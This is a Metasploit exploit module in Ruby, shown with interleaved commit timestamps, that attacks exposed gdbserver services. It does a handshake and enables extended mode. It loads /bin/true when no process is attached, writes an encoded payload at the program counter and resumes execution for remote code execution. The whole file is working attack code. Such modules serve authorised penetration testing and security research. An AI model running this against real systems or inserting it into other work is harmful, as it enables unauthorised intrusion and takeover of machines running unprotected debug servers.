2014-08-24 01:10:30 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-08-24 01:10:30 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-08-24 01:10:30 -05:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Gdb
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2022-04-25 19:25:06 +00:00
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'GDB Server Remote Payload Execution',
|
|
|
|
|
'Description' => %q{
|
2014-09-08 14:00:34 -05:00
|
|
|
This module attempts to execute an arbitrary payload on a loose gdbserver service.
|
2022-04-25 19:25:06 +00:00
|
|
|
},
|
|
|
|
|
'Author' => [ 'joev' ],
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[ 'x86', { 'Arch' => ARCH_X86 } ],
|
|
|
|
|
[ 'x86_64', { 'Arch' => ARCH_X64 } ],
|
|
|
|
|
[ 'ARMLE', { 'Arch' => ARCH_ARMLE } ],
|
|
|
|
|
[ 'AARCH64', { 'Arch' => ARCH_AARCH64 } ],
|
|
|
|
|
],
|
|
|
|
|
'References' => [
|
2014-09-08 14:00:34 -05:00
|
|
|
['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']
|
|
|
|
|
],
|
2022-04-25 19:25:06 +00:00
|
|
|
'DisclosureDate' => '2014-08-24',
|
|
|
|
|
'Platform' => %w[linux unix osx],
|
|
|
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
|
|
|
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS],
|
|
|
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
|
|
|
},
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'DefaultOptions' => {
|
|
|
|
|
'PrependFork' => true
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
2014-09-03 15:56:21 -05:00
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
|
OptString.new('EXE_FILE', [
|
|
|
|
|
false,
|
2022-04-25 19:25:06 +00:00
|
|
|
'The exe to spawn when gdbserver is not attached to a process.',
|
2014-09-03 15:56:21 -05:00
|
|
|
'/bin/true'
|
|
|
|
|
])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2014-08-24 01:10:30 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
connect
|
|
|
|
|
|
2022-04-25 19:25:06 +00:00
|
|
|
print_status('Performing handshake with gdbserver...')
|
2014-08-24 01:10:30 -05:00
|
|
|
handshake
|
|
|
|
|
|
2022-04-25 19:25:06 +00:00
|
|
|
res = enable_extended_mode
|
|
|
|
|
if res !~ /OK/
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not enable extended mode.')
|
|
|
|
|
end
|
2014-09-03 16:07:27 -05:00
|
|
|
|
2014-09-03 15:56:21 -05:00
|
|
|
begin
|
2022-04-25 19:25:06 +00:00
|
|
|
print_status('Stepping program to find PC...')
|
2014-09-03 15:56:21 -05:00
|
|
|
gdb_data = process_info
|
|
|
|
|
rescue BadAckError, BadResponseError
|
|
|
|
|
# gdbserver is running with the --multi flag and is not currently
|
|
|
|
|
# attached to any process. let's attach to /bin/true or something.
|
2022-04-25 19:25:06 +00:00
|
|
|
print_status("No process loaded, attempting to load #{datastore['EXE_FILE']}...")
|
|
|
|
|
res = run_file(datastore['EXE_FILE'])
|
|
|
|
|
if res !~ /OK/
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not load new program.')
|
|
|
|
|
end
|
2014-09-03 15:56:21 -05:00
|
|
|
gdb_data = process_info
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
|
2014-08-24 01:10:30 -05:00
|
|
|
|
2022-04-25 19:25:06 +00:00
|
|
|
unless payload.arch.include?(gdb_arch)
|
2015-04-16 21:56:42 +02:00
|
|
|
fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.")
|
2014-09-03 15:56:21 -05:00
|
|
|
end
|
2014-08-25 14:14:47 -05:00
|
|
|
|
2022-04-25 19:25:06 +00:00
|
|
|
print_status("Writing payload at #{gdb_pc}...")
|
2014-09-03 15:56:21 -05:00
|
|
|
write(payload.encoded, gdb_pc)
|
2014-08-24 01:10:30 -05:00
|
|
|
|
2022-04-25 19:25:06 +00:00
|
|
|
print_status('Executing the payload...')
|
|
|
|
|
continue({read: false})
|
|
|
|
|
ensure
|
|
|
|
|
disconnect if sock
|
2014-08-24 01:10:30 -05:00
|
|
|
end
|
|
|
|
|
end
|